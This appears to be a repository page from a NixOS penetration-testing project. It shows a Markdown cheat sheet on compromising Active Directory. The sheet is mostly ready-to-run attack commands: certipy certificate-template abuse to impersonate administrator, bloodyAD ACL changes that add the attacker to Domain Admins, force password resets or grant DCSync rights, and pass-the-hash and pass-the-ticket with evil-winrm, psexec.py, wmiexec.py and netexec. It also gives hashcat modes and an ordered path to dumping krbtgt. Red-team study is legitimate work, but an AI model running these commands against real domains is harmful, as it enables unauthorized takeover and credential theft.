repositories

NixDaemon

NixOS pentest workstation as one flake — IceBreaker's successor

clonegit clone https://git.daemon-sec.xyz/NixDaemon.git
ad.mdMarkdown77 lines5.2 KiBsource raw download

ad — Active Directory: roast, sync, forge, pivot#

Kerberos, ADCS and ACL abuse from a foothold to Domain Admin. Map the graph first with cheat bloodhound, spray/exec with cheat nxc. Most stars default their DC to $TARGET — set it once with t <dc-ip>. Crack loot with hc-rock <mode> <file>.

Enumerate users (no creds needed)#

AS-REP roast (users with pre-auth disabled)#

Kerberoast (crack service accounts)#

ADCS — find and abuse cert templates#

certipy req  -u user@dom -p pass -ca <CA> -template <tmpl> -upn administrator@dom -dc-ip <dc>
certipy auth -pfx administrator.pfx -dc-ip <dc>     # → NT hash + TGT (KRB5CCNAME set)

ACL abuse — bloodyAD#

Turn a BloodHound edge into a concrete change. Point --host at the DC.

bloodyAD --host <dc> -d <domain> -u <user> -p <pass> add genericAll <target> <you>
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> set password <victim> 'New!Pass1'   # ForceChangePassword (destructive)
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> add groupMember 'Domain Admins' <you>
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> set owner <target> <you>            # WriteOwner → then genericAll
bloodyAD --host <dc> -d <domain> -u <user> -p <pass> add dcsync <you>                     # grant self replication → then dcsync

DCSync — pull the hashes (endgame)#

Pivot — pass-the-hash / pass-the-ticket#

evil-winrm -i <t> -u <user> -H <hash>          psexec.py  -hashes :<hash> <user>@<t>
wmiexec.py -hashes :<hash> <user>@<t>          netexec smb <t> -u <user> -H <hash> --shares
export KRB5CCNAME=<ticket.ccache>             # the ccache impacket -k reads
psexec.py -k -no-pass <t>                      wmiexec.py -k -no-pass <t>
netexec smb <t> -k --use-kcache
Env / flag Meaning
KRB5CCNAME=x.ccache ticket cache impacket & nxc read for -k
-k -no-pass authenticate with the ccache, no password
--use-kcache nxc: use $KRB5CCNAME instead of creds
-hashes :<NT> LM:NT — leave LM empty, : prefix

Hashcat modes (quick ref)#

Mode Hash
18200 AS-REP (asrep)
13100 Kerberoast TGS-REP RC4 (kerberoast)
19600/19700 TGS-REP AES-128/256 (if RC4 disabled)
1000 raw NTLM (dcsync output)

Order of operations: kb-users → asrep (free) → any-cred → kerberoast + cheat bloodhound to find the path → bloodyAD/adcs-find to walk an edge → dcsync krbtgt. Every certipy auth and *.py -k run reads $KRB5CCNAME — echo $KRB5CCNAME when Kerberos "randomly" fails.